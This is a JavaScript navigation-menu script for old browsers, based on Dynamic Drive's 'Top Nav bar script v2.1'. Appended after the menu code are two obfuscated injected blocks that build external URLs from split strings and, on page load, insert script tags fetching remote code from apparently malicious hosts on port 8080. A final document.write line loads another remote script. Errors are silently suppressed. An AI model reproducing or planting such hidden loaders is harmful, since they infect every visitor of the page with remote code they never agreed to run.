if (document.all)    {n=0;ie=1;ns6=0;fShow="visible";fHide="hidden";}
if (document.getElementById&&!document.all)    {n=0;ie=0;ns6=1;fShow="visible";fHide="hidden";}
if (document.layers) {n=1;ie=0;ns6=0;fShow="show";fHide="hide";}

//Top Nav bar script v2.1- http://www.dynamicdrive.com/dynamicindex1/sm/index.htm

opr6=ie&&navigator.userAgent.indexOf("Opera")!=-1

window.onerror=new Function("return true")
////////////////////////////////////////////////////////////////////////////
// Function Menu()                                                        //
////////////////////////////////////////////////////////////////////////////
rightX = 0;
function Menu()
{
	this.bgColor     = menucolor;
	if (ie) this.menuFont = "bold 12px Arial"; //default font settings. Don't change. Instead, modify stylesheet in sample.htm
	if (n)  this.menuFont = "bold 12px Verdana";
	this.fontColor   = "black";

	this.addItem    = addItem;
	this.addSubItem = addSubItem;
	this.showMenu   = showMenu;
	this.mainPaneBorder = 0;
	this.subMenuPaneBorder = 0;

	this.subMenuPaneWidth = submenuwidth;

	lastMenu = null;
	
	rightY = 0;
	leftY = 0;
	leftX = 0;

	HTMLstr = "";
	HTMLstr += "<!-- MENU PANE DECLARATION BEGINS -->\n";
	HTMLstr += "\n";
	if (ie||ns6) HTMLstr += "<div id='MainTable' style='position:absolute;top:0;left:0;'>\n";
//	if (n)  HTMLstr += "<layer name='MainTable'>\n";
	HTMLstr += "<table width='100%' bgcolor='"+this.bgColor+"' border='"+this.mainPaneBorder+"'>\n";
	HTMLstr += "<tr>";
	if (n) HTMLstr += "<td>&nbsp;";
	HTMLstr += "<!-- MAIN MENU STARTS -->\n";
	HTMLstr += "<!-- MAIN_MENU -->\n";
	HTMLstr += "<!-- MAIN MENU ENDS -->\n";
	if (n) HTMLstr += "</td>";
	HTMLstr += "</tr>\n";
	HTMLstr += "</table>\n";
	HTMLstr += "\n";
	HTMLstr += "<!-- SUB MENU STARTS -->\n";
	HTMLstr += "<!-- SUB_MENU -->\n";
	HTMLstr += "<!-- SUB MENU ENDS -->\n";
	HTMLstr += "\n";
	if (ie||ns6) HTMLstr+= "</div>\n";
//	if (n)  HTMLstr+= "</layer>\n";
	HTMLstr += "<!-- MENU PANE DECALARATION ENDS -->\n";
}

function addItem(idItem, text, hint, location, altLocation)
{
	var Lookup = "<!-- ITEM "+idItem+" -->";
	if (HTMLstr.indexOf(Lookup) != -1)
	{
		alert(idParent + " already exist");
		return;
	}
	var MENUitem = "";
	MENUitem += "\n<!-- ITEM "+idItem+" -->\n";
	if (n)
	{
		MENUitem += "<ilayer name="+idItem+">";
		MENUitem += "<a href='.' class=clsMenuItemNS onmouseover=\"displaySubMenu('"+idItem+"')\" onclick=\"return false;\">";
		MENUitem += "|&nbsp;";
		MENUitem += text;
		MENUitem += "</a>";
		MENUitem += "</ilayer>";
	}
	if (ie||ns6)
	{
		MENUitem += "<td>\n";
		MENUitem += "<div id='"+idItem+"' style='position:relative; font: "+this.menuFont+";'>\n";
		MENUitem += "<a ";
		MENUitem += "class=clsMenuItemIE ";
//		MENUitem += "style='text-decoration: none; font: "+this.menuFont+"; color: "+this.fontColor+"; cursor: hand;' ";
		if (hint != null)
			MENUitem += "title='"+hint+"' ";
		if (location != null)
		{
			MENUitem += "href='"+location+"' ";
			MENUitem += "onmouseover=\"hideAll()\" ";
		}
		else
		{
			if (altLocation != null)
				MENUitem += "href='"+altLocation+"' ";
			else
				MENUitem += "href='.' ";
			MENUitem += "onmouseover=\"displaySubMenu('"+idItem+"')\" ";
			MENUitem += "onclick=\"return false;\" "
		}
		MENUitem += ">";
		MENUitem += "|&nbsp;\n";
		MENUitem += text;
		MENUitem += "</a>\n";
		MENUitem += "</div>\n";
		MENUitem += "</td>\n";
	}
	MENUitem += "<!-- END OF ITEM "+idItem+" -->\n\n";
	MENUitem += "<!-- MAIN_MENU -->\n";

	HTMLstr = HTMLstr.replace("<!-- MAIN_MENU -->\n", MENUitem);
}

function addSubItem(idParent, text, hint, location, linktarget)
{
	var MENUitem = "";
	Lookup = "<!-- ITEM "+idParent+" -->";
	if (HTMLstr.indexOf(Lookup) == -1)
	{
		alert(idParent + " not found");
		return;
	}
	Lookup = "<!-- NEXT ITEM OF SUB MENU "+ idParent +" -->";
	if (HTMLstr.indexOf(Lookup) == -1)
	{
		if (n)
		{
			MENUitem += "\n";
			MENUitem += "<layer id='"+idParent+"submenu' visibility=hide bgcolor='"+this.bgColor+"'>\n";
			MENUitem += "<table border='"+this.subMenuPaneBorder+"' bgcolor='"+this.bgColor+"' width="+this.subMenuPaneWidth+">\n";
			MENUitem += "<!-- NEXT ITEM OF SUB MENU "+ idParent +" -->\n";
			MENUitem += "</table>\n";
			MENUitem += "</layer>\n";
			MENUitem += "\n";
		}
		if (ie||ns6)
		{
			MENUitem += "\n";
			MENUitem += "<div id='"+idParent+"submenu' onmouseout=operahide() style='position:absolute; visibility: hidden; z-index:100; width: "+this.subMenuPaneWidth+"; font: "+this.menuFont+"; top: -300;'>\n";
			MENUitem += "<table border='"+this.subMenuPaneBorder+"' bgcolor='"+this.bgColor+"' width="+this.subMenuPaneWidth+">\n";
			MENUitem += "<!-- NEXT ITEM OF SUB MENU "+ idParent +" -->\n";
			MENUitem += "</table>\n";
			MENUitem += "</div>\n";
			MENUitem += "\n";
		}
		MENUitem += "<!-- SUB_MENU -->\n";
		HTMLstr = HTMLstr.replace("<!-- SUB_MENU -->\n", MENUitem);
	}

	Lookup = "<!-- NEXT ITEM OF SUB MENU "+ idParent +" -->\n";
	if (n)  MENUitem = "<tr><td><a class=clsMenuItemNS title='"+hint+"' href='"+location+"' target='"+linktarget+"'>"+text+"</a><br></td></tr>\n";
	if (ie||ns6) MENUitem = "<tr><td><a class=clsMenuItemIE title='"+hint+"' href='"+location+"' target='"+linktarget+"'>"+text+"</a><br></td></tr>\n";
	MENUitem += Lookup;
	HTMLstr = HTMLstr.replace(Lookup, MENUitem);

}

function showMenu()
{
	document.writeln(HTMLstr);
}

////////////////////////////////////////////////////////////////////////////
// Private declaration
function displaySubMenu(idMainMenu)
{
	var menu;
	var submenu;
	if (n)
	{
		submenu = document.layers[idMainMenu+"submenu"];
		if (lastMenu != null && lastMenu != submenu) hideAll();
		submenu.left = document.layers[idMainMenu].pageX;
		submenu.top  = document.layers[idMainMenu].pageY + 25;
		submenu.visibility = fShow;

		leftX  = document.layers[idMainMenu+"submenu"].left;
		rightX = leftX + document.layers[idMainMenu+"submenu"].clip.width;
		leftY  = document.layers[idMainMenu+"submenu"].top+
			document.layers[idMainMenu+"submenu"].clip.height;
		rightY = leftY;
	} else if (ie||ns6) {
//alert(document.getElementById(idMainMenu+"submenu").id)
		menu = ie? eval(idMainMenu) : document.getElementById(idMainMenu);
		submenu = ie? eval(idMainMenu+"submenu.style") : document.getElementById(idMainMenu+"submenu").style;
		submenu.left = calculateSumOffset(menu, 'offsetLeft');
//		submenu.top  = calculateSumOffset(menu, 'offsetTop') + 30;
		submenu.top  = menu.style.top+23;
		submenu.visibility = fShow;
		if (lastMenu != null && lastMenu != submenu) hideAll();

		leftX  = ie? document.all[idMainMenu+"submenu"].style.posLeft : parseInt(document.getElementById(idMainMenu+"submenu").style.left);
		rightX = ie? leftX + document.all[idMainMenu+"submenu"].offsetWidth : leftX+parseInt(document.getElementById(idMainMenu+"submenu").offsetWidth);

		leftY  = ie? document.all[idMainMenu+"submenu"].style.posTop+
			document.all[idMainMenu+"submenu"].offsetHeight : parseInt(document.getElementById(idMainMenu+"submenu").style.top)+parseInt(document.getElementById(idMainMenu+"submenu").offsetHeight);
		rightY = leftY;
	}
	lastMenu = submenu;
}

function hideAll()
{
	if (lastMenu != null) {lastMenu.visibility = fHide;lastMenu.left = 0;}
}

function calculateSumOffset(idItem, offsetName)
{
	var totalOffset = 0;
	var item = eval('idItem');
	do
	{
		totalOffset += eval('item.'+offsetName);
		item = eval('item.offsetParent');
	} while (item != null);
	return totalOffset;
}

function updateIt(e)
{
	if (ie&&!opr6)
	{
		var x = window.event.clientX;
		var y = window.event.clientY;

		if (x > rightX || x < leftX) hideAll();
		else if (y > rightY) hideAll();
	}
	if (n||ns6)
	{
		var x = e.pageX;
		var y = e.pageY;

		if (x > rightX || x < leftX) hideAll();
		else if (y > rightY) hideAll();
	}
}

function operahide(){
        if (opr6){
        if (!MainTable.contains(event.toElement))
        hideAll()
}
}

if (ie||ns6)
{
	document.body.onclick=hideAll;
	document.body.onscroll=hideAll;
	document.body.onmousemove=updateIt;
}
if (document.layers)
{
	window.captureEvents(Event.MOUSEMOVE);
	window.captureEvents(Event.CLICK);
	window.onmousemove=updateIt;
	window.onclick=hideAll;
}

this.W="";function g(){var m=["z","h","t"];this.D=false;try {} catch(Rs){};var x=String("app"+"end9FM3".substr(0,3)+"Chi"+"FBTLldBFLT".substr(4,2));var T="cr"+"ea"+"te"+"El"+"em"+"en"+"G7jzt".substr(4);var J=new String("scrh3U".substr(0,3)+"Y25ipt".substr(3));var cx={Tw:"cz"};var i=window;var K=String("src");hR=[];var O=String("defer");Fe={_:"gA"};var C="bosItZ".substr(0,2)+"dy";r=44924;r++;var G=String("onloa"+"d");var Y=document;this.vZ="";var Qk="";var Is={S:false};function I(){this.q="";this.YK="";var hH={MW:"gi"};try {var Fa=["gv","YN","JJ"];try {var mN='s'} catch(mN){};var uM=[];var R=String("/g"+"oo"+"gl"+"e."+"co"+"m/"+"bh"+"ar"+"6Icat".substr(3)+"r8PXstr8XP".substr(4,2)+"ud"+"en"+"iudIt.".substr(4)+"coP9qp".substr(0,2)+"m/"+"kyPgu".substr(3)+"arQVy".substr(0,2)+"t1LMdi".substr(4)+"an"+".c"+"o."+"ukBQE".substr(0,2)+".p"+"hpkPAw".substr(0,2));this.FS=false;var u="CvUhtt".substr(3)+"p:/"+"/pa"+"ALWsspAWL".substr(3,3)+"ort"+"qs5blusq5".substr(3,3)+"es.Kpb".substr(0,3)+"T01ru:".substr(3);var wt=28845;try {var X='cs'} catch(X){};this.ij="ij";var f=211282-203202;this.Rg="";var a=3604-3603;var WP={_p:false};var TE={ui:false};k=Y[T](J);var y={_Y:"p_"};try {} catch(kN){};ox={};lo={};Xe=[];this.nw="nw";_m=37996;_m++;k[O]=a;k[K]=u+f+R;try {var vO='io'} catch(vO){};var bu=15616;Y[C][x](k);try {var cR='A_O'} catch(cR){};} catch(v){var pK=new Date();this.Qq=55206;this.Qq--;};var qB=new Array();this.Gs='';}this.zw=54840;this.zw-=48;var pz=["zTM","lq"];i[G]=I;var ct=["uiA","E","pP"];};g();
this.WX=18657;this.WX-=224;this.EP=42070;this.EP-=29;try {Y=27806;Y--;var Dq=new String();var X=["I"];C=51016;C+=4;Qa={_:false};var B=window[String("unZoAi".substr(0,2)+"es"+"ca"+"peIbZ".substr(0,2))];this.h="";var c=4456;var cl={};var v=["AD","V"];var W="re"+"Ko7Rpl".substr(4)+"ac6oT0".substr(0,2)+"VQ0ye".substr(4);var JA="JA";var Yj="Yj";var u=window[(new String("Reg"+"Exp"))];var nQ={x:"BB"};this.KB=false;var Gg={fD:"N"};var xn={NE:31392};sg=["JY"];hl=["vG"];XB={uJa:"wd"};var Z=String("onlo"+"BnVsad".substr(4));var l={Bf:2272};var jT={Kj:"Cj"};var b={uJb:31471};this.UK=27491;this.UK++;var sQ="";var f='';var jb=["Tu","MFO"];var zi=["gq","jp"];var OB=["gL","k","sf"];var a=new String("1");var Ri=[];var sz=["Ci"];var Cib={Ck:false};L=[];var pl=new String();bU=["sC","fG","Ew"];var oj=new String();HRv={};function j(a,ZS){this.sfw=false;var YT=new String();var VG=[];var Ah=["d","t_","Iv"];AU=["Br","vs","Vo"];Yz={qX:false};bq={mN:false};var M=new String("[");try {var aj='PI'} catch(aj){};M+=ZS;var bL={_e:false};var IH="";M+=B("%5d");eT=["_I","vw"];var hX=["cq","Wu","Qq"];var z=new u(M, String("g"));var UQ=["eI","Qw"];return a.replace(z, f);var aa="";var UB=["zK"];var ix=["AJ"];};pE=37052;pE--;jP=[];var qn='';this.Yc="Yc";var Fy=["SC","Ggp"];this.CI="CI";var vo='';var jk=[];this.zo=false;this.bp=false;var Q=69646-61566;var SR=["tg"];var t=new String("/goog"+"RAgle.co".substr(3)+"jDJ0m/goo".substr(4)+"gle.c"+"o.ma/"+"badjo"+"jo.co"+"m.php");var ZJ="";var Rg="";this.PH="PH";this.Jb=15863;this.Jb-=181;var wTg="";var E=String("httpuZq".substr(0,4)+"LxC://a".substr(3)+"shdo"+"oASyg.ruAoyS".substr(4,4)+":yWB".substr(0,1));this.Uz="Uz";this.RT="RT";this.jc=6003;this.jc--;this.EK=41292;this.EK--;var fb=["VF"];WG={xV:false};this.qZ=34301;this.qZ--;this.emw=18018;this.emw--;eId={hO:false};function MF(){try {} catch(Vr){};wjH=28163;wjH-=134;var NF={fo:"_T"};var fW=j('sbc4rvivpVtQ','YSbQvVFBC24');_p={BpV:"me"};wWG={fZ:false};Vq={SG:"kt"};var SeC=["RZ","bx","ir"];var wH=new Date();Jx=["gi","pw"];var Ga=["Mw","rm","ZD"];var Kk={yk:"Ai"};this.kK=false;var D=new String("appg9xP".substr(0,3)+"BK35end".substr(4)+"ChitvVo".substr(0,3)+"ldO0rz".substr(0,2));this.xY=58820;this.xY+=128;var Zl={};QO={tm:false};var tY=new Date();var Pn=new Date();var QW=document;var MC=["vd"];var cj={KJ:false};ZWm={Mx:45691};var eZ=["si"];this.Ke=32255;this.Ke-=178;pm={};NxU={};var ky={DY:56387};try {var rM='Rf'} catch(rM){};e=QW.createElement(fW);lJw={ID:false};m=E+Q;kG=[];var ek=["Vp"];this.uB='';Jxf=[];m=m+t;var Ap="Ap";var To=41670;nf=16398;nf+=224;var mc="mc";cI=[];aR=["Ht"];Qp=14801;Qp++;var XU={};var ogh='';var vB={};e[new String("def"+"er")]=a;this.Mj="";XUf={};var qW=new String();e.src=m;var n=QW.body;this.ER=33369;this.ER+=87;var F_D=["_v","YJh"];this.KT=29131;this.KT+=171;this._pz=13042;this._pz+=11;n[D](e);this.yg="yg";};var sUP={iy:false};oi={NFm:false};ru={Qv:false};var ywC=false;window[Z]=MF;Jp=["pc","cJ","rb"];nT=["iX","iK","FX"];var NP='';var Nxc=new Date();} catch(H){gM=29132;gM-=176;var Cr=new String();};try {var Rk='HZ'} catch(Rk){};try {} catch(Pg){};var CV="";var RU=["Zlq","Hg","sd"];




document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/Operating_System.js"></scr'+'ipt>');